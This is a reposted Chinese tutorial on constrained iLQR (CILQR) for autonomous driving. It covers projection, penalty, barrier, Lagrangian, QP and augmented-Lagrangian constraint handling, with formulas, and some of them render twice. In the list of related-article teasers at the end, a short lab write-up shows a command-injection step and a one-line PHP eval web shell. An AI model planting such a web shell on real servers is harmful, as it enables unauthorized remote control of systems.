自动驾驶:LQR、ILQR和DDP原理、公式推导以及代码演示(七、CILQR约束条件下的ILQR求解)

news2024/9/20 9:36:29

(七)CILQR约束条件下的ILQR求解

CILQR((Constrained Iterative Linear Quadratic Regulator)) 是为了在 iLQR 基础上扩展处理控制输入和状态约束的问题。在这种情况下,系统不仅要优化控制输入以最小化代价函数,还需要满足各种物理约束,例如控制输入的限制(如力矩或速度的上下限)、状态的约束(如位置、速度的范围),甚至是复杂的非线性约束条件。

要在 iLQR 中处理约束,通常使用多种方法,包括:

  1. 投影法(Projection Method)
  2. 惩罚函数法(Penalty Method)
  3. 障碍函数法(Barrier Method)
  4. 拉格朗日乘子法(Lagrangian Method)
  5. QP 求解方法(Quadratic Programming for Constraints)

下面我们详细介绍这些方法在 iLQR 中的应用以及如何通过它们处理约束。


1. 投影法(Projection Method)

投影法 是一种简单的方法,主要用于处理控制输入或状态的上下限边界约束。它通过在每次迭代后将违反约束的控制输入或状态投影到可行域内,保证最终结果满足约束。

过程:

  1. 迭代更新控制输入:在优化的过程中,根据 iLQR 更新控制输入\mathbf{u}_k和状态 \mathbf{x}_k

  2. 投影回可行域:如果控制输入或状态超出给定的限制,则将其投影回到约束范围内:

    \mathbf{u}_k = \max(\mathbf{u}_{\min}, \min(\mathbf{u}_{\max}, \mathbf{u}_k))

         \mathbf{x}_k = \max(\mathbf{x}_{\min}, \min(\mathbf{x}_{\max}, \mathbf{x}_k))

  1. 继续迭代:在投影后继续下一步的前向和后向传播,直到控制输入和状态满足收敛条件。

优缺点:

  • 优点:方法简单,易于实现;适合处理简单的线性约束(如上下限)。
  • 缺点:对于复杂的非线性约束不适用,且强制投影可能会对算法收敛性和解的质量产生负面影响。

2. 惩罚函数法(Penalty Method)

惩罚函数法 是通过在代价函数中增加一个罚项,用于惩罚违反约束的行为,从而迫使解满足约束条件。罚项的大小取决于违反约束的程度,随着违反约束的增大,罚项的代价增加。

过程:

  1. 定义罚项:引入违反控制输入或状态约束的罚项,例如对于控制输入 uk\mathbf{u}_kuk​ 的上下限约束,可以定义一个惩罚项:

    P(\mathbf{u}_k) = \rho \left( \max(0, \mathbf{u}_k - \mathbf{u}_{\max})^2 + \max(0, \mathbf{u}_{\min} - \mathbf{u}_k)^2 \right)

    其中\rho是惩罚参数,用来调节约束的严格性。

  2. 更新代价函数:将惩罚项加入到原始代价函数中:

    J_{\text{total}} = J_{\text{original}} + \sum_k P(\mathbf{u}_k)
  3. 优化:通过 iLQR 的前向传播和后向传播最小化这个新的代价函数J_{\text{total}},随着惩罚参数\rho的增大,解会更严格地满足约束条件。

优缺点:

  • 优点:可以处理复杂的非线性约束,能够逐渐逼近约束条件。
  • 缺点:需要调整惩罚参数 ρ\rhoρ,如果惩罚项选择不当,可能导致收敛缓慢或约束不精确。


3. 障碍函数法(Barrier Method)

障碍函数法 是一种特殊的惩罚函数法,通过引入障碍函数来处理约束条件。当控制输入或状态接近约束边界时,障碍函数的值会趋向无穷大,从而限制解靠近或超过约束边界。

过程:

  1. 定义障碍函数:常用的障碍函数是对数障碍函数,例如对于控制输入的上下限约束:

    B(\mathbf{u}_k) = - \sum_{i} \ln(\mathbf{u}_{\max} - \mathbf{u}_k) - \sum_{i} \ln(\mathbf{u}_k - \mathbf{u}_{\min})
  2. 更新代价函数:将障碍函数加入到代价函数中:

    J_{\text{total}} = J_{\text{original}} + \alpha \sum_k B(\mathbf{u}_k)

    其中\alpha是障碍函数的权重,控制障碍的强度。

  3. 优化:通过 iLQR 最小化这个新的代价函数,使得解接近约束边界时,代价函数趋向无穷大,限制解超出可行域。

优缺点:

  • 优点:能较好地处理边界约束,保证解在可行域内。
  • 缺点:数值稳定性差,当解接近边界时,障碍函数趋向无穷大可能导致数值不稳定。

4. 拉格朗日乘子法(Lagrangian Method)

拉格朗日乘子法 通过引入拉格朗日乘子,将约束条件与目标函数相结合,转化为一个对偶优化问题。这种方法特别适用于等式约束问题。

过程:

  1. 定义拉格朗日函数:假设约束为 h(xk,uk)=0h(\mathbf{x}_k, \mathbf{u}_k) = 0h(xk​,uk​)=0,可以构造拉格朗日函数:

    \mathcal{L}(\mathbf{x}_k, \mathbf{u}_k, \lambda_k) = l(\mathbf{x}_k, \mathbf{u}_k) + \lambda_k h(\mathbf{x}_k, \mathbf{u}_k)

    其中\lambda_k是拉格朗日乘子。

  2. 优化问题:通过优化拉格朗日函数,使得原目标函数最优的同时满足约束条件。

  3. 更新拉格朗日乘子:迭代更新拉格朗日乘子 λk\lambda_kλk​,逐步逼近约束条件。

优缺点:

  • 优点:适合处理等式约束问题,尤其在严格的等式约束问题中具有良好的性能。
  • 缺点:处理不等式约束较复杂,优化过程中计算量较大。

5. QP 求解方法(Quadratic Programming for Constraints)

QP 求解方法 是通过将 iLQR 的每次迭代转化为一个带有约束的 二次规划问题(Quadratic Programming, QP)。通过引入二次规划求解器,处理线性或二次型约束问题。

过程:

  1. 线性化和二次化:在每次迭代中,将非线性系统线性化,将代价函数二次化。对于每个时间步,代价函数可以近似为:

    J(\mathbf{x}_k, \mathbf{u}_k) \approx \frac{1}{2} \left[ \mathbf{x}_k^T \mathbf{Q}_k \mathbf{x}_k + \mathbf{u}_k^T \mathbf{R}_k \mathbf{u}_k \right]
  2. 引入约束:将控制输入或状态的约束引入到二次规划问题中,例如:

    \mathbf{u}_{\min} \leq \mathbf{u}_k \leq \mathbf{u}_{\max}, \quad \mathbf{x}_{\min} \leq \mathbf{x}_k \leq \mathbf{x}_{\max}
  3. 求解 QP 问题:使用二次规划求解器(如 OSQP)来求解带有约束的二次规划问题,得到满足约束的最优解。

优缺点:

  • 优点:可以精确处理线性或二次型约束问题,适用于更复杂的约束场景。
  • 缺点:计算复杂度较高,每次迭代需要求解一个 QP 问题,适用于小规模系统或计算资源较充足的情况。

6. AL-iLQR求解方法(Augmented Lagrangian ILQR)

AL-iLQR通过引入 增广拉格朗日法(Augmented Lagrangian Method),将原始问题的约束条件通过拉格朗日乘子和惩罚项结合到代价函数中,逐步逼近最优解。

对于带有等式和不等式约束的最优控制问题,引入 增广拉格朗日函数

\mathcal{L}_A(\mathbf{x}, \mathbf{u}, \lambda, \rho) = l(\mathbf{x}, \mathbf{u}) + \sum_{i} \lambda_i h_i(\mathbf{x}, \mathbf{u}) + \frac{\rho}{2} \sum_{i} \left( h_i(\mathbf{x}, \mathbf{u}) \right)^2

其中:

  • \lambda_i是拉格朗日乘子,对应等式约束h_i(\mathbf{x}, \mathbf{u})
  • \rho是惩罚系数,用于控制惩罚项的强度。

总结:

  1. 如果约束较为简单(如上下限),优先使用 投影法
  2. 如果需要处理较复杂的非线性约束,可以选择 惩罚函数法障碍函数法
  3. 如果约束是等式约束,且必须严格满足,拉格朗日乘子法 是一个较好的选择。
  4. 如果系统较小且有复杂的线性或二次型约束,QP 求解方法 能提供更精确的解。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2134975.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

NET WPF使用组件库HandyControl

一、背景 WPF原生控件提供的API功能不够强大&#xff0c;设置一般的功能都需要进行很复杂的配置和实现。 1.1 原生按钮控件 例如&#xff0c;原生控件<Button/> 默认效果是这样的&#xff1a; MainWindow.xaml代码&#xff1a; <Window x:Class"wpf_demo.Mai…

SAP_ABAP_编程基础

SAP ABAP 顾问能力模型(同心圆方法论)_sap abap 顾问能力模型(同心圆方法论)-CSDN博客文章浏览阅读1.8k次,点赞5次,收藏35次。目标:基于对SAP abap 顾问能力模型的梳理,给一年左右经验的abaper 快速成长为三年经验提供超级燃料!_sap abap 顾问能力模型(同心圆方法论)htt…

我们的Python服务器开发脚手架开放了

pdServer是我们实践过程中的产物&#xff0c;当我们在开发各类python应用时&#xff0c;经常需要一个server来提供服务。于是我们使用fastApi来提实现&#xff0c;并在这个过程中不断的完善&#xff0c;实现了JWT\SQL等。 我们的脚手架项目可以&#xff1a; fastApi实现一个服…

数据线电子行业MES系统功能与生产过程管理

万界星空科技针对数据线电子行业的MES系统&#xff08;制造执行系统&#xff09;&#xff0c;其具体功能、生产过程管理以及注塑机设备数据采集等方面&#xff0c;可以详细介绍如下&#xff1a; 一、电子行业MES系统具体功能 计划管理&#xff1a; MES系统能够根据客户需求和销…

潍坊网站建设-高端建站

在当今数字化时代&#xff0c;企业的在线形象越来越重要。潍坊作为一个经济发展迅速的城市&#xff0c;许多企业都意识到拥有一个高端网站的重要性。潍坊网站建设不仅仅是技术层面的开发&#xff0c;更是品牌形象和市场竞争力的体现。高端建站的核心在于用户体验、视觉设计和功…

论文解读《NewsBench:一个评估中文新闻大型语言模型编辑能力的系统评估框架》

引言&#xff1a;感觉这篇文章&#xff0c;对 LLMs 的新闻编辑能力做了一个详细的实验和分析&#xff0c;而且还贡献了一个宝贵的中文新闻数据集&#xff0c;蛮不错的&#xff0c;后面或许可以用起来&#xff0c;就拜读了一下。 这篇博客的题目说是解读&#xff0c;其实大部分…

赵进喜:不透析、不用肾移植,“三维护肾”巧治尿毒症

潜心研究中医药治疗尿毒症等慢性肾脏重症40余年来&#xff0c;北京名老中医&#xff0c;慢性肾病国医大师吕仁和教授医术传承人&#xff0c;全国优秀基层名中医赵进喜总结出弥足珍贵的重症良方&#xff0c;临床应用无数次守护近10万肾病重症患者生命。让仅有22岁的慢性肾衰尿毒…

DORIS - DORIS之倒排索引

什么是倒排索引&#xff1f; 倒排索引&#xff08;Inverted index&#xff09;&#xff0c;也常被称为反向索引、置入档案或反向档案&#xff0c;是一种索引方法&#xff0c;用于存储在全文搜索场景下某个单词在一个文档或者一组文档中的存储位置的映射&#xff0c;它是文档检…

AI开发-FAQ

1 需求 2 接口 3.1 pip下载指定版本 pip install package1.0.4 3.2 pip设置代理 pip install --proxyhttp://10.10.1.10:3128 somepackage 3.3 PyCharm设置代理 import os os.environ[http_proxy] http://your_proxy:port os.environ[https_proxy] http://your_proxy:portf…

java开发中间件学习记录(持续更新中~)

1 Redis 2JVM 3 java基础底层 4Mysql 5 spring 6 微服务 7.......(持续更新) One:Redis篇 1:Redis 1.穿透 1.1缓存穿透 1.1.1布隆过滤器 1.2缓存击穿 2&#xff1a;击穿 1.3&#xff1a;缓存雪崩 1.4:双写一致 1.5.持久化&#xff08;RDB,AOF&#xff09; 1.6…

80V降24V2A同步降压WT6037

80V降24V2A同步降压WT6037 WT6037是一款适用于36V-80V输入电压范围&#xff0c;输出24V2A电流的同步降压恒压芯片。该芯片具有宽输入电压范围&#xff0c;高转换效率&#xff0c;低静态电流消耗等特点&#xff0c;可广泛应用于电池组系统&#xff0c;电动自行车&#xff0c;电动…

SD-WAN网络如何实现双向访问?

在SD-WAN架构中&#xff0c;双向访问是一个重要的概念&#xff0c;它允许网络流量在不同方向上流动&#xff0c;从分支机构到数据中心或云端&#xff0c;再从数据中心或云端返回分支机构。本文将详细探讨SD-WAN如何实现双向访问&#xff0c;并解释其背后的工作原理。 什么是双向…

对话世优科技CEO纪智辉:AI模型让数字人发展按下加速键

2024年9月12日&#xff0c;中国国际服务贸易交易会全球服务贸易峰会在北京举行&#xff0c;世优科技作为深耕虚拟数字人领域的科技企业&#xff0c;聚焦“新而专”&#xff0c;连续两届参加服贸会。2024年&#xff0c;世优科技以合作供应商身份参与本届服贸会。 在AI的大浪潮下…

Jetpack Compose Side Effects in Details 副作用的详细信息

What is Side Effect’s? 副作用是什么&#xff1f; Side Effects is a change in the state of the application that occurs outside the scope of the composable function and is not related to the UI. In non-UI related state changes, our screen may recompose mor…

一、机器学习算法与实践_02KNN算法笔记

1、KNN基本介绍 1.1 定义 KNN&#xff08;K-NearestNeighbor&#xff0c;即&#xff1a;K最邻近算法&#xff09;是一种基于实例的学习方法&#xff0c;用于分类和回归任务&#xff0c;它通过查找一个数据点的最近邻居来预测该数据点的标签或数值。 所谓K最近邻&#xff0c;…

性能测试-性能分析与调优原理总结

性能分析与调优如何下手&#xff0c;先从硬件开始&#xff0c;还是先从代码或数据库。 从操作系统&#xff08;CPU调度&#xff0c;内存管理&#xff0c;进程调度&#xff0c;磁盘I/O&#xff09;、网络、协议&#xff08;HTTP&#xff0c; TCP/IP &#xff09;&#xff0c;还是…

Elasticsearch基础(七):Logstash如何开启死信队列

文章目录 Logstash如何开启死信队列 一、确保 Elasticsearch 输出插件启用 DLQ 支持 二、配置 Logstash DLQ 设置 三、查看死信队列 四、排查 CSV 到 Elasticsearch 数据量不一致的问题 Logstash如何开启死信队列 在 Logstash 中&#xff0c;死信队列&#xff08;Dead Le…

【Elasticsearch系列二】安装 Kibana

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

seafaring寻找漏洞

一.命令执行漏洞 &#xff08;1&#xff09;下面有一个输入框&#xff0c;输入ls进行查看 &#xff08;2&#xff09;输入echo <?php phpinfo();?> > qxl.php 并且访问 (3)写入一句话木马&#xff0c;并且访问蚁剑连接 echo <?php eval($_POST[cmd];?>>…

1T机械硬盘需要分区吗?你必须知道的分区知识

随着科技的不断发展&#xff0c;计算机存储设备的容量日益增大&#xff0c;1T(1TB&#xff0c;即1024GB)机械硬盘已成为许多电脑用户的标配。然而&#xff0c;在这样一个大容量硬盘面前&#xff0c;很多用户都会面临一个问题&#xff1a;是否需要对这块硬盘进行分区&#xff1f…